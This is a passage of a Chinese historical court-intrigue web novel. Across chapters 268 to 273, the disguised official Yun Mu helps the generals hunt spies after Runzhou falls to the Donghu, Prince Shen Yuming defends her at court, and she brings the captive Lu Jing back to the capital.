余炳仁怒道:“云暮竟怀疑内应就在你们中间,当着可笑。更别提今夜东胡被我们重创,两日后如何能向润州开战?” 在房中踱步的他并未发现其中两人对视了一眼,眼底满是骇然。 “我等为大梁出生入死,竟叫他这享福之人在背后冠以罪名,将军,属下去找他讨要一个说法。” “我也去!” 余炳仁才应付完云暮,又见这两人如此鲁莽,头愈发痛了。 “回来!” 云暮叫住要去提卢靖的砚石,“润州如今不安全,余炳仁也是个靠不住的,明日一早就把人带去缙州。” 砚石问道:“大人,您呢?” 云暮用看傻子的眼神看他,余炳仁想来已经和那几个副将通过气了,东胡势必明白她的话一句都不可信,此时不走,难道还要留在这儿等着被胡人乱刀砍死? 几乎是城门才开,云暮便带着人前往缙州,余炳仁靠不住,她还能找外援兜个底。 漫漫金沙上覆了一层白雪。 战乱四起,进出城的盘查比从前严了许多,砚石递过路引和卢靖的通缉令,守城的士兵对着云暮和卢靖看了许久,又盘问了许久才终于肯放人。 “还真让他抓着了,为了重得富贵,他当真是拼命。” “可不是,只是大将军已经有人顶上,只怕他带人回去亦无用。” 云暮特意折了回来,含笑望着那几个正在讨论她的士兵,道:“不知州府的衙门何在?几位官爷能否给我们指个路?” 她的话把交头的两人吓了一个好歹,手中的长枪差点落到了地上,“云……云将军,小人领你去。” 云暮悠悠道:“我已被罢职,可当不起你们的这声将军,亦不敢劳烦你们,口头告诉我一声即可。” 虽无半分怒气,但几人还是听出了杀气,最前头的那个举起颤颤巍巍的手,道:“大人,往前直走,左拐两个弯,再往前……” 云暮虽初到缙州,但州府的衙门大多在州府正中,寻起来不算难事,更何况她手底下还有好些人能替她打探消息,何愁找不到? “大人缘何捉弄他们?” 云暮深深看了他一眼,只丢下一句你猜,便策马朝士兵所说的方向去了。 她总不能说是因为心中烦闷,只想寻个乐子吧? 云暮若有所感回头,只见城门的士兵又在盘查行者。 第二百六十八章 润州沦陷 “帝病危。” 夜色重如墨,伸手不见五指,一张密信被传到秦王府。 鸽子扑棱的振翅声将才堪堪躺下的沈聿明唤了起来。 “文竹,将消息都散出去,明日一早去城北找禁卫军。” 他得把京城这浑水搅得更浑些才是。 早朝依旧是沈聿明监国,与往日不同的是,堂下还站着被圈禁许久的梁今越。 所有人都在等着沈聿明会做出什么反应。 沈聿明面不改色地踏进殿中,拱手行了一礼:“皇兄,许久未见。” 梁今越也收了往日的锐气,含笑道:“幸得父皇开恩,往后于朝事上还需二弟多多提点。” 沈聿明笑看崔相,推拒道:“臣弟年轻气盛,平日处理政事尚且需要崔相相助,恐担不起此大任。皇兄自小跟在父皇身边议事,朝堂之事对你来说应该算不上什么难事。” 梁今越的面色有些难看,他被关了许久,再出来,朝堂已经变了天。他立在堂上,无人敢与他寒暄,每有对视,对方皆心虚移眼。 直至崔相到来,同他说了几句话,才慢慢有人上前。梁今越对此嗤之以鼻,但面上还是一副笑面虎的模样。 旁人如何都还可收买拉拢,所幸崔相还是与他同心,倒也还算慰藉。 眼下沈聿明旧事重提,他面上的笑容差点挂不住,他深深吸了口气,压下急剧起伏的胸膛和心中的不甘,笑道:“皇弟谦虚了,父皇病重的这几日,朝堂上下依旧井井有条,你功不可没。” “只是不知云暮如今身在何处?父皇对他有知遇之恩,怎地如今却弃父君不顾?” 他往身后瞥了一眼,“亏得皇兄今日特意为他准备了一份见面礼。” 沈聿明顺着他的目光看去,却只看见朱红的殿门。他心里浮出一个不好的预感,忽而庆幸云暮去了润州。 “皇兄这话就问错人了,臣弟与他不过泛泛之交,如何知晓她去了何处?” 梁今越拍了拍脑门,“方才在路上听人提了一嘴,说皇弟先前曾送云暮归府,过了几日又大闹入云居府门,许是皇兄听错了罢。” 沈聿明眼中的笑意荡然无存,他没再回话,越过梁今越踏在阶上。 吕梁掐着尖细的嗓子道:“有本启奏,无本退朝。” 梁今越不待旁人开口,他便站了出来,“孤有要事参奏父皇,还望吕公公代为转告。” “大皇子请说。” 梁今越盯着沈聿明,一字一句道:“罪臣云怀瑜之女云暮隐瞒身世,女扮男装入朝为官,欺上瞒着,此乃事一。” “秦王沈聿明明知云暮身世身份,却还是选择替她瞒下,此乃事二。” “今日一早,秦王无诏便派手下前往城北军营,意图不明,此乃事三。” 沈聿明还当对方发现城外的秘密了,结果,就这些?云暮此刻不在京城,他有何证据能证明? 想用这个法子把他拖下水,梁今越的脑子真的没有被关坏吗?崔浩也任由他乱来? 他余光瞥向崔浩,见对方面上有愠色,心中了然。 他也不着急替自己和云暮辩解,而是问道:“若是都如皇兄这般空口无凭冤枉人,大梁就该乱了。”梁今越不顾崔相的颜色,沾沾自得道:“你又如何得知孤没有证据?进来。” 吵嚷的金銮殿静默了片刻,在看到来人时,都揉了揉眼,两指撑着眼皮张大双眼。 “我没看错吧?” 巴掌声在金銮殿格外响亮,“疼吗?疼就是没看错。” “哎哟,疼死我了,你打我作甚?” “闭嘴。” “皇兄,许久未见,你可还记得我?” 丑时,整个润州都陷入了沉默,唯有风雪的簌簌声。 自打上次云暮火烧东胡粮草一事后,东胡已有两日没有来犯,余炳仁的心也就落回了肚子里。 今夜商议了攻打东胡事宜,余炳仁梦见他将东胡击退百里,只把人打得满地找牙和镇北侯谢罪,又梦见梁文帝痛哭流涕颁诏书还镇北侯清白。 咧着的嘴还未放下,一阵急促的敲门声将他吵醒。 “将军,不好了,不好了。” 美梦尚未结束就被人吵醒,余炳仁披上外衣,斥道:“不好什么不好,有话便直说。” 士兵指着不远处的漫天红光,喘着大气道:“将军,不好了,东胡来犯,天太黑,看不清他们有多少人。” 余炳仁脑海中忽然浮现出云暮所说的话,他忙问:“城门是何人在守?” 只听士兵报了两个副将的名字,余炳仁松了一口气,换上盔甲朝城门而去。 风刮在身上,寒意顺着盔甲的缝隙钻进里衣,余炳仁不觉寒,反而因胡人的进犯生出热血。 此刻润州的手无寸铁百姓在火光中四下逃窜,也有些将从家中带来的锄头挥向胡人。 见了余炳仁,他们都忍不住哭喊,“将军,救救我们。” 余炳仁的热血一点一点冷却,他看向那些沾着血污的百姓,竟觉他是不是做错了,他是不是该听云暮的话? “将军,不好了,胡人攻进润州了。” 一个士兵纵着马对着余炳仁大喊,声音戛然而止,人也从马背上坠了下来。 余炳仁拼命眨着双眼,他看见士兵的身后插着一支箭,还看见了几个挥着弯刀朝他们而来的胡兵。 他勒住不安的马,解下腰间的印章,吩咐跟在他身侧的士兵,“去疏散百姓,在着人去缙州和关州,请他们派兵前来支援。再去云来客栈找云暮云将军。” 东胡来势汹汹,他尚且不能确信是不是有人给东胡开了城门。 士兵哪肯,他握紧手中之剑,视死如归,“大人,小人愚笨,但还有一身武艺能挡住一二,您且带着城中百姓先行离去,我们来断后。” 胡人哪管他们之间的推辞,会 挥着刀直接朝他们砍来,余炳仁长枪一横,拦下一刀,又抬脚踹向余下的那个,他怒吼:“还不快去!” 追上来的胡人不算多,在余炳仁被余下的两个纠缠住之时,终于有人发现了他。 “将军在那!” 第二百六十九章 被怀疑 云暮和余炳仁相对而坐,直把人看得心虚。她又将视线放在替余炳仁包扎伤口的大夫身上。 大夫手一抖,一下忘了力道,余炳仁嘶了一声。 “将军恕罪。” 余炳仁将人赶了下去,却也不敢看云暮,过了良久,他终于吐出一句:“今夜多谢你相助。” 云暮指着缙州的守将石恒宇说道:“谢石将军吧,今夜若不是他肯点头,单凭我一人之力也难以救下你。” 云暮带人来时,润州已经血流成河,唯有余炳仁带着城中剩下几十个士兵负隅顽抗。 而他信任的三个副将,皆与胡人一道站在城墙上睥睨着如蝼蚁的他们。 城墙上布满了弓箭,只需一声令下,就能将他们射成筛子。 城中的百姓死的死,伤的伤,拖着伤躯在士兵的护卫之下,分散前往关、缙二州。云暮在路上远远看着,还当是胡人,搭在弦上的箭差点就放了出去。 一回生,二回熟,余炳仁也不再扭捏,他单膝跪在地上,朝着两人道:“今夜多谢二位,这一切都怪余某识人不清,余某愧对润州百姓。” 润州失守,他作为主将,难辞其咎。他愧对镇北侯,愧对手下的兵,愧对润州的百姓。 他原本都做好以死殉城的准备了,可谁知云暮和石恒宇竟带了人来,顶着齐发的万箭将他带了出来。 云暮先前提点过他,他不仅不信,还将人赶了出去,若是当初…… 云暮没有动作,反倒是石恒宇把人扶起,“余将军言重了,润、关、缙三州本就是一体,润州如今已经失守,关、缙二州不能再重蹈覆辙了。” “进来。” 关州的守将王楚也赶到了,云暮见人齐了,她将两张城防图摆在桌上,“二州中皆有东胡的探子,却不单是守将,你们的人,你们回去自个儿查。” “攻下润州后,胡人需要休整,这两天务必要将人找出,否则润州就是来日的关州和缙州。” 石恒宇和王楚起初并不相信云暮所言,却还是半信半疑的地派人前往润州打探消息,谁知竟撞上了胡人在润州烧杀抢掠。 王楚狐疑地打量着云暮,“不知云……云将军从何处得来的消息?” 云暮似笑非笑地睨了他一眼,“王将军的意思是云某通胡?” 她点了点右臂上的伤口,“我若是内应,今夜这伤就该出现在你们身上。那夜确实去了胡人的营帐,但你们别忘了,粮草亦是我烧的。” “东胡缺粮不是一日两日,这么多粮拿来给我烧着玩,你当他们是大善人?” “你为何……” 余炳仁打断了王楚的话,“谁是卧底都不可能是云将军。” 他从前亦是疑心云暮是梁文帝派来的人,如今以一城为代价,他悔不当初。 “大人。” 云暮朝他们点了点头,起身出门寻砚石。“何事?” 梁承熙逆光而来,他行至沈聿明身前,“二皇兄,你觉得臣弟这个人证如何?” 沈聿明淡淡道:“你的身世如何,要本王昭告天下吗?本王可不追究,但这句皇兄和臣弟若是传到父皇耳朵里,他会如何本王就不得而知了。” “你!罢了,今日来也不过是应人之约来指认一事。” 梁承熙转而面向群臣,“云暮确为女子前些时日,云暮府中招的两个小厮里就有我的人,他亲眼所见。” 沈聿明盯着跪在地上垂头不语的人,他在云暮府上见过几次,之后忽然就没了踪迹,原来是梁承熙的人。 梁承熙踢着地上 只是梁承熙方才说这个小厮看到了什么?他握紧了藏在袖中的双手,心里已经想着如何将此人杀了灭口。 梁承熙踹向夏光,命令道:“将你那夜看到的一一说出来,若是有半句虚言,仔细你的人头。” 夏光的头垂得更低了,他道:“那夜……云暮和往常般去侧房沐浴,小人得了梁公子的吩咐,需寸步不离地看着云暮,便将窗纸戳了一个小洞。” 他的脸被双臂遮住,谁都没有发现他面上的惊恐。其余人正在兴头上,梁承熙又抬脚踹向夏光,“接着说。” 夏光嗓子有些发干,他咽了咽唾沫,道:“小人看到云暮正宽衣解带……” 他话未说完,就被沈聿明踩住了肩膀,整个人都趴在了地上。 沈聿明碾着他的肩头,“云暮如何本王不知,但本王知你满嘴谎言,来人,此二人祸乱朝堂,将他们拖下去。” 梁今越拦在他们身前,“你敢?” 沈聿明冷笑了一声,将他拨到一旁,“本王有何不敢?本王不知丞相用了什么法子,竟让父皇松口放你出来。 只是人贵有自知之明,皇兄曾私藏兵器,豢养私兵,意图谋反,如今得出,父皇病重,你不思替父君分忧,反倒给他添堵,本王倒想问问皇兄你想做什么?” 沈聿明的话掷地有声,朝堂为之安静。 梁今越有些心虚,他梗着脖子道:“孤才想问问你包庇云暮是想做何,明知对方身份却不禀明父皇,又听闻她如今人在润州。沈聿明,你身负胡人血脉,她莫不是替你去找援军了?” 帽子一个接着一个往沈聿明头上扣,沈聿明被气笑了,“本王是有胡人血脉不假,然本王生在大梁,长在大梁,知自己是大梁人。而不像某些人,曾经身为大梁太子,私下不仅豢养私兵,还纵容手下与胡人勾结。” 梁今越脸色一变,“莫要听信他的疯话。” 沈聿明勾唇,“疯话?你和卢家暗中勾结,在卢家满门抄斩之时,你用一个死囚换下卢靖。那夜自落霞山逃走的人里,其中便有卢靖。本王倒想问问皇兄,如今卢靖人在何处?” 梁今越不免心虚,气势都弱了下来,“空口无凭,你可莫要冤枉孤。” 沈聿明恍然大悟地“哦”了一声,“本王还道孤不知何为冤枉呢。” “沈聿明,你什么意思?” “报!润州急报,润州失守,关州、缙州危矣!” 第二百七十章 再次被疑 三日前。 云暮急匆匆回到里屋,对着王楚和石恒宇二人道:“两位这两日请务必查出探子,城门的守卫最好再换一批。 行军打仗并非云某强项,诸位将军自行商议旧事,云某还有事,恕不奉陪了。” 说罢,她头也不回地走了。余炳仁三人面面相觑,一时不知该如何接话。 “何事这般着急?就连议个章程都没有时间,本将军就不信有什么事能比找出胡人的探子还重要。” 此事于云暮来说还真比找探子重要。 “属下见过云将军。” 云暮看着这几张熟悉的面孔,问道:“你们何时来的?” 方平老实答道:“大人到了润州没几日,属下们也到了,只是得了王爷的吩咐,命我们在暗中保护大人,无事不得现身。” “哦。” 昨夜那支箭她本可躲开,但她为了验证她的猜想,硬是生生挨了一箭。这几个人从暗处出现,护着他们撤离。 他们虽蒙头覆面,可云暮认人观骨不观皮,只是他们才到安全之地,便四下散开,云暮当即命砚石带人去寻,幸而天光初亮,寻起人来不算什么难事。 “你们来了此处,沈聿明身边可还有人用?” 方平道:“大人无需担心,王爷已将事情安排妥当。” 两人两地分隔,传个消息最快都要三日,云暮朝方平伸出手:“东西呢?” 方平起初是茫然地看着云暮,而后掏出了几封信双手奉给云暮,“这是王爷这几日送来的信,他吩咐属下要迟几日再给您。” 信封拍打在掌心,发出阵阵闷声,云暮心满意足地拿着信往余炳仁几人议事的书房走去。 她看过不少兵书,但从未上过战场,便只在一旁听着他们商议。正盯着手上的信封出神,手心忽然一空。 云暮眼皮未动,将身旁的椅子踢向来人,她双手撑在桌上,冷冷盯着王楚:“把东西还给我。” 王楚晃了晃这几封信,“观你方才行色匆匆,该不会是胡人给你送来的吧?” 云暮不想同他多言,朝他伸出手,“还我。” 王楚对于云暮还是偏见未消,他当即要拆开手中的信件。云暮忍着手臂上的疼意将匕首掷向王楚:“我再说最后一次,还给我。” “王将军如此着急想要看看里头写了什么,莫不是胡人的探子?” 一方守城的将领,王楚鲜少被人这般挑衅污蔑,他如今信也不想看了,只想狠狠地教训云暮这个眼高于顶的人。 他将信甩着地上,拔出腰间的剑,对着云暮刺去,“今日好叫你知道污蔑朝廷命官是何下场。”云暮扯下腰间的剑,她惯用右手,王楚的力道不小,她右臂上缠着的纱布渗出了血。 余炳仁和石恒宇终于反应过来,两人上前,一人制住一个。 “二位都消消气,依我看,云将军不如将信放在桌上,咱哥几个一同看看,这不就能证明云暮的清白了吗?” 云暮横眉冷对打圆场的余炳仁,她后悔救了此人,“闭嘴,只怕你们没命看。既然疑心我是东胡的人,我一会儿收拾东西回京,你们是死是活都与我无关。凭着我药王谷的医术,即便是江山易主,也能有我的容身之地。” 余炳仁被他的目光刺痛,“我……我不时这个意思。” 云暮甩开他的手,捡起散落在地上的几封信,方才室中混乱,信封不知被谁踩了几脚,上面布满脚印。 最后一封在王楚的脚边,他抬脚压住信封,“想要?那便先证明你的清白。” 云暮抬头冲他一笑,甩了甩手,下一瞬,王楚抱着腿惨叫了一声,而后倒在身后的椅子上,“你对本将军做了什么?” 云暮用被踩脏的信封拍打着王楚的脸:“明知我脾气不好,还敢上前寻死,我如今是没有官职在身,但也容不得你羞辱,你不识好歹,就怪不得旁人了。” 直至将信封上的灰都蹭干净,云暮才道:“放心,也不过是给你扎了几针,这几日会如同万蚁噬心般难受,不过对于王将军这般在战场上厮杀的人来说,应该算不得什么。” 王楚疼得直想打滚,闻言,他勉力睁开双眼,“云暮,你一个低贱的阉人,竟敢如此对我。” 云暮指尖又泛起寒光,她温柔道:“王将军平日里都不漱口吗?嘴还是一如既往地臭,旁人也不曾和你提过一嘴?” 王楚怒而欲骂人,但不管他怎么使劲,双唇都像被封住了一般,一个字都说不出来,他惊恐地看着云暮。 云暮拍了拍手,“放心,我这次出门没带多少毒药,不会将毒用在你身上。你们继续,我就不打扰了。” 自那日后,云暮没再出过客栈,余炳仁倒是日日都在房门外求见,石恒宇也来过一回。云暮用纸团封住耳朵,全当没听见,他们只能讪讪离去。 两日说长不长,说短亦不算短,石恒宇还真抓出了几个东胡的探子。 至于王楚,云暮是想给他一个教训,但如今尚在紧要关头,她不至于真的让人几日不能不地不能张口说话。 第三日傍晚,云暮推开客栈的窗,望向润州的方向,黄沙漫天,窥不见人影。 “云暮,缙州一样守不住。” 缙州的守卫多了不少,就连城门口的士兵也都换了一批新面目。为了缙州的安危,石恒宇还下令不许进出城。 城外的流民拍打着城门,哭喊着求守城的士兵发发善心放他们进城。 一个才入伍的圆脸士兵心生不忍,他低声同旁边的人道:“胡人尚未有动静,我们就将城门开一条缝,放他们进来后再关上。” 话音刚落,他的脑袋上就落了一巴掌,“用你的蠢脑袋想想,润州的灾民不是到了咱缙州,便是到了关州,这些流民从何处而来?” “不能吧?他们看着不像是胡人。” “你当真是蠢,这两日查出来的探子,他们不也是梁人?你多长些心眼罢,别平白无故死了都不知是为何。” 第二百七十一章 通胡证据 卢靖的话历历在目,云暮扣紧了窗沿,她来此处,是想着揪出卢靖,毁了他们的阴谋,助余炳仁击退胡人,再假死脱身换回身份,随大军回朝助沈聿明登上那把龙椅。 如今润州失守,那些随余炳仁来的两万人里,死伤无数,如今还活着的也只剩半数。 她如果听沈聿明的话,留在京中,是不是就不会有这些烦恼了?云暮眼中罕见地有些茫然。 “大人,京城那边来信了。” 前头的信还未看,新的又来了,这一次送来的竟是两封,沈聿明这是赔罪来了? 云暮随意拆了一封,上头不过几行字,却叫她面色大变。 “京中多乱,身份惹人生疑,勿回。”落款是一个熟悉的沈字。 云暮忙拆开第二封。第二封是冯章派人送来的,比第一封要厚得多,竟是将京城这些日子的情况都同她一一细说。 云暮挑着重点的看了,才知是梁今越趁着梁文帝病重,带着梁承熙大闹金銮殿,将她的身份抖了出来。 她早就有了死遁脱身的想法,对于身份一事不甚在意,于是只将夏光他们打断了一条腿丢出了府,留下了这个隐患。 云暮又往下看,直至末尾,并未发现沈聿明因此事而被梁文帝斥责的消息,才算放下心。 云府当年之事已经公之于众,谁是罪臣之后不用旁人明说,梁承熙再这般纠缠,沈聿明定不会对他心慈手软。毕竟当初允了贵妃的诺言的人不是他。 “你要找之人不在京中,父皇清醒时间不足三个时辰,你若是想等,那就跪在此处等吧,但须记得一点,勤政殿外,不可喧扰。” 沈聿明转身进了勤政殿,他先是去西侧间看了一眼还在昏睡的梁文帝,又和守在一旁的吕梁低声说了几句,才又回到正殿。 “润州失守,关、缙二州需朝廷支援,诸位有何良策?” 这一次头一个开口的竟是崔相,只听他道:“秦王殿下当初举荐余炳仁前往润州平战,如今兵败,秦王殿下亦有推脱不了的责任。” 沈聿明捏紧了手中的折子,他是举荐了余炳仁,但选择权在梁文帝手上。 裴然得了崔相的命令暗中和胡人暗度陈仓,梁今越谋划多年,暗中与胡人做交易,如今还有卢靖在外为他与胡人联络。 他反倒想问问润州失守到底是谁的责任? 裴然不认,卢靖不在,他并无证据,贸然将事情说出,只会让他被人捏住辫子,以此为攻讦他的借口。 “本王识人不清,确有干系,如今最紧要的不是论本王及余炳仁之过,而是如何夺回润州。” “胡人少粮,裴然卖于的粮食那些也都尽数被烧光,他们当夜不举兵攻打润州,非要等到两日后,其中或许有什么缘故。” 新上任的户部尚书道:“无非是余炳仁轻敌,还能有什么缘故。户部拨了这么多粮,他们竟连一个润州都守不下。” 沈聿明凉凉地扫了他一眼,“看来马尚书对行军打仗一事颇有研究,不若你去替了余炳仁如何?” “臣从不替人收拾烂摊子。” 裴然留下一摊烂账,有些账目根本对不上,沈聿明似笑非笑地看他:“是吗?” 眼看又要吵起来,兵部尚书移开话题,道:“王爷方才说的话倒是提醒臣了,按理说润州有两万将士驻扎,即便是轮值,一万的胡人紧用一夜就攻下润之,属实是有些奇怪。” 沈聿明将他们往有人叛城的方向引,“余炳仁所带去的士兵大多都上过战场,其中会不会有什么隐情?” “王爷,缙州送来的急报。”吕梁将一道密折放在沈聿明的手边。 沈聿明停下手上之事,飞快打开密折,越看面色越发凝重。他将密折递给离他最近的崔相,说道:“你们也都看看。” 崔浩还是那副古井无波的模样,反倒是梁今越将折子抢了去:“让孤看看究竟是何事。” 他幸灾乐祸道:“润州三名副将皆投胡,近半数的士兵死于胡刀,皇弟,你挑的好人啊。” “润州失守,你竟还在沾沾自喜,朕就不该依了崔相的话将你放出来。” “儿臣(微臣)参见父皇(皇上)。” “方才崔相说润州失守秦王难辞其咎,你们也是这么认为的?” “马文林,你来说。” 梁文帝即便是一身病痛,命不久矣,然多年身居帝位,气势还是足够唬住这些人。 方才还气焰嚣张的马文林诚惶诚恐地跪在地上,“皇上,余炳仁出征前曾放话势必要驱赶胡人,您给他拨了这么多钱粮,他却有愧陛下的信任。” 梁文帝看向兵部尚书,“你呢?” 比起马文林,兵部尚书对此并无太大的波澜,胜败乃兵家常事,此次守不住润州虽可惜,但或许就像沈聿明说的另有隐情。 “余将军在军中是出了名的爱护手下,三名副将皆带着手下的兵投敌,此事决计不是意外。” 梁文帝只行了几步,便觉疲累,他在房中巡视了一圈,目光在梁今越身上顿了顿,在对方期望的眼神中,他招过沈聿明,“明熹,此事你怎么看?” 沈聿明从袖中拿出一封信:“回父皇,儿臣方才还未来得及言说。卢靖去岁被人神不知鬼不觉地从诏狱换出,此后便一直跟在皇兄身边做事。” “胡说!父皇,儿臣冤枉啊!卢家满门钦犯,儿臣怎会违抗您的命令行事?”梁今越行至梁文帝身侧,跪在地上仰头望他,露出那张与皇后有几分相似的脸。 沈聿明嗤了一声:“皇兄连私兵都敢养,兵器都敢私造,有何不敢?” “父皇,这把匕首乃胡人联络同党专用,在涿州时,卢宅中搜出好几柄与之一模一样的匕首。玉冠也是出自卢家,父皇应还识得此物。” 当年卢宏以一块玉琢成两块玉冠,其中一个赠给了梁文帝,梁文帝还记着当初卢宏戏言:“臣要将其当作传家宝。” 梁文帝双眼浑浊,但心却不盲,他接过玉冠,在底下摸了摸,果真发现了一个卢字。 第二百七十二章 洗好了 云暮看着被捆成粽子的卢靖,支着脑袋道:“今日还得多谢你,否则剩下的这些探子他们还真找不出来。” 昨日有几人奉她的命回京保护沈聿明,守卫松懈了不少,卢靖趁着他们不备,偷偷用碎瓷片划破了绳索,偷偷跑了出去,还伪装成城中守城的士兵,幸而缙州严防死守,不许任何人进出,这才没让他逃了出去。 眼看出逃无望,他想起城中还有同伙,想着借他们的势离城,城门即开之时,云暮的人终于赶到,将人拦了下来。 卢靖仰着头看向洋洋自得的人,笑了:“你的感谢每次都是口头说说罢了,若真要谢我,你就应了我那日的要求。” 云暮轻飘飘地说道:“阶下之囚,如何配谈条件?人都被抓住,朝廷不日就会派人来支援,缙州和关州,东胡吃不下。” 卢靖仰天大笑,不再言语,“我且等着你带我出逃,只是如今我已经没有了价值,你何不直接给我一个干脆?” 云暮弯下腰,勾起卢靖的下颌,“谁说你无用?这几日过得还不错,脸上的肉又长回来了几分,等哪日瞧你长得不错,没准就拿你来泄火,这谁又说得清呢。” 她在心里补上一句:怒火也是火。 卢靖她还要留着回京指认梁今越,她的人也不能时时刻刻盯着他,若是对方当真肯为了梁今越去死,那她这一趟西北之行可就得不偿失了。 但她不知,只需她下个命令,再说几句好话,哪怕只是几句空话,卢靖都会死心塌地地跟着她,将一切都供出。 卢靖凑近云暮,“那你今日心情如何?我逃出你的视线,你不生气?” 云暮拍了拍他的脸,手滑到他的脖上,缓缓收力:“今日捉到了探子,我高兴都来不及,怎么会生气,但我可以给你点甜头。” 卢靖的脸涨得发紫,云暮才终于松开手,不管卢靖在地上咳得死去活来,她径直出了门。 砚石一言难尽地看着净手的云暮,“大人,他真的没病?” 云暮耸了耸肩,“我看他是病得不轻,对了,莫要告诉沈聿明。”应付卢靖这个脑子有毛病的人已经够累了,还得费尽心力去哄醋坛子被打翻的沈聿明,那更累了。 “石恒宇他们呢?” “正在议事厅等着大人您过去呢,对了,听说王楚……将军等会儿也要过来。” 鉴于上次之事,砚石实在不愿称这种人为将军。 云暮对此无所谓,王楚想来也不敢再对她不敬。 “云大人料事如神,我等佩服。” 说话之人乃余炳仁,他此前一直想见云暮,但云暮一直避而不见,即便是迎面撞上,云暮也不过是对他略点个头。今日好不容易有一个谈话的机会,他可不能再错过。 “余将军过奖了,城中探子一日不除,各位一日难安,云某亦是,只是这一切巧合太过,我怕其中有诈。” 石恒宇将几人的画像连同他们这几日的行踪都摆在桌上,“末将觉得不像,他们这几日确实总趁着巡防时碰面。” 他指着东南的玄承门道:“此处离润州最远,守卫最少,防守薄弱,不他们竟打算绕到此处攻城。” 云暮点了点玄承门,又看着周围的险峻的山头,“我倒认为此举的可能性不大。玄承门易守难攻,否则石将军不会放心让这些守卫把守玄承门。” 石恒宇愁道:“胡人性狡诈,谁也猜不到他们会做出何种决定,还是多派些人来。” 城中守卫再匀一匀,还是能空出一些去守玄承门的。 云暮没再多言,这是她第一次与胡人交锋,比起石恒宇他们还差得远,她决定还是莫要插手他们的事为好。 王楚紧赶慢赶终于到了议事厅,人还未坐下,就先接过侍卫奉上来的茶喝了好几口。 “这天儿也忒冷了,难怪胡人发了疯似的来打咱。” 厅中无一人回话,静得可怕。他觑着几人的脸色,顿时明白这是因他上次惹恼云暮而不快呢。 王楚常年驻守在外,一向是有什么说什么。云暮京里京外的风评都算不上好,梁文帝又忌惮他们这些人,恐他们成为第二个镇北侯,这也怪不得他多疑。 但他很是坦荡,拿起茶壶给他的茶杯满上,对着云暮举杯道:“先前疑心你是东胡探子一事是我不对,我以茶代酒向你赔个不是。你若还不解气,等将润州收回后,再由你怎么打都行。” “那日只要你将那些信……” 云暮抬眼扫他,王楚顿时不敢再语,他嘿嘿一笑,将茶杯往前递了递,“我是个粗人,不会说话,你莫要怪罪。” 云暮轻哼了一声,拿起茶杯与王楚轻轻一碰,“记着你的话。” 两人一笑泯恩仇。 茶只抿了一口,王楚便急道:“关州城中的探子连同他们的同伙,我只找出了十余人,虽说已经不少,但总觉着还有人藏在暗处,只是他们藏得太好,半点马脚都没有露。” 他厚着脸皮道:“不知云大人能否移步关州,助我一同将人揪出?” 关州离此地算不上太远,但卢靖做了一回傻事,第二回决计不会再上当,她沉吟了片刻,还是决定应下,将此间事了,她也好早日回京城。 “去关州可以,但你得给我备一间房。” 王楚大手一挥,“莫说一间,即便是十间本将军也还是能给你腾出来。” 事不宜迟,云暮带着人即刻随着王楚动身。 才到关州,她便命人带卢靖下去清洗一番。之后她每说一句话,王楚的眉头就皱上一分,他越听越怀疑自个儿的耳朵出现问题。 “云大人,您这癖好还真是不同旁人。” 他又在心里啐道:太监这种没根的东西就是变态,折磨人都用这些不同凡人的法子。 云暮面无表情地提起唇角,“王将军这么想知道,不若也来体验一番?” 王楚连忙摆手:“不了不了,云大人还是自个儿享用吧,本将军无福消受。” “大人,人洗好了。” 第二百七十三章 回京 云暮面色萎靡地将一沓厚厚的纸张递给王楚,垮着张脸道:“王将军,你欠我良多。” 有了这些东西, 王楚翻开瞧了一眼,乐呵呵地说道:“云大人,您就放一百个心吧,全程只有我和你的亲信在这儿守,绝对不会让人知道。” 不是他有听墙角的癖好,而是得亲眼盯着才放心。 云暮脚步虚浮地朝王楚备好客栈走去,忽而她停住脚,抓着砚石的衣领警告:“不许告诉沈聿明,他若是知道了,我唯你是问。” 虽然她不过是抽了卢靖一顿,并未做其他的事,但到底还是有些心虚。倘若沈聿明胆敢背着她与哪家女子纠缠不清,她都会将他剁了。 有了这些东西,他们倘若还输给东胡,那就是天要亡大梁。 亲卫忙不迭点头,抬手发誓:“大人您放心,王爷他绝对不会知道。” 只休整了两日,云暮便带着卢靖赶回京城,朝廷已经变天,也该回去拍死那两只秋后的蚂蚱了。整日蹦跶,着实惹人生厌。 云暮丝毫没有顾及他身上的伤口未愈,将卢靖横放在马上,好在官道还算平坦。 休憩之时,卢靖倚在树上,问道:“你还要利用我做些什么?” 云暮丢给他一个水壶,“瞧你说的什么话,咱也算好过一段,怎么会是利用。” 卢靖嗤笑了一声,“不过是各取所需罢了,你用不着说这些场面话。” 不能把人逼得太狠,云暮解开他手中的绳索,掏出一瓶金疮药,替他涂抹在手腕处的勒痕上。 “怎么会,从前是我想岔了,你瞧,如今这些都是我的人,等京城事了,我便带你回江南。” 明知这些都是哄他的话,卢靖还是心动了,他倾身向前,圈住云暮的手腕,轻声问道:“此话当真?” 平心而论,卢靖的长相确实不错,尤其是在东胡待了一些时日,身上的皮肉都比从前好了不少,只是她对卢靖只有厌恶。 若不是他还有些用处,云暮早就一剑将他杀了。诏狱曾经是她的地盘,却被先太子神不知鬼不觉地用死囚将人换出,于她而言,此事是耻辱。 云暮勾了勾他的下颌,轻佻道:“只要你听话。” 日夜兼程,一行人终于回到了京城,云暮盯着承德门三个大字,心中感慨万千。 因着她离京,吕梁不敢轻举妄动,不仅停了梁文帝的“药”,还不知从何处寻来一个秘方,和沈聿明硬是把人拖到了现在。 她并未回入云居,而是带着人往王府的方向而去。 有道是一日不见,如隔三秋。离开沈聿明这么久,云暮当真有些想他了。 卢靖前些年回的涿州,但被先太子救出后,他经常混迹在街市,尤其是王府和云府,对这两处可以说是闭着眼都能走到。 前方传来一阵呼声,“都闪开!” 如今敢在京中纵马的不过是那几个,云暮不用猜便知道来的人是谁。她不偏不倚,依旧立在街道中央。 云暮还未到城门,沈聿明就得了消息,他火急火燎地从宫里出来,又特意回府换了一套衣服。 这些时日他一天都睡不够两个时辰,眼下的乌青显得格外憔悴,又买了写脂粉敷上。卢靖痛恨沈聿明,不会认不出他的声音,他勒住缰绳,看向云暮,“不该是去京兆尹吗?怎么,着急见旧情人?” “云暮!” 云暮翻身下马,任由沈聿明将她抱个满怀,熟悉的温度和雪松香时隔两个月又重新将她拢住。 云暮的手抵在他的心口,感受这胸膛下的那颗急剧跳动的心。 她离开前还是冬日,如今已是开春,京城的河流已经化冻。 沈聿明环着她的腰,只觉得骨头硌手,“瘦了。” 云暮也抬手捏了捏他的腰:“你也是。” 她仰头在沈聿明的下巴嗅了嗅,好奇道:“你有没有闻到什么花香?京城的花儿这么早就开了?” 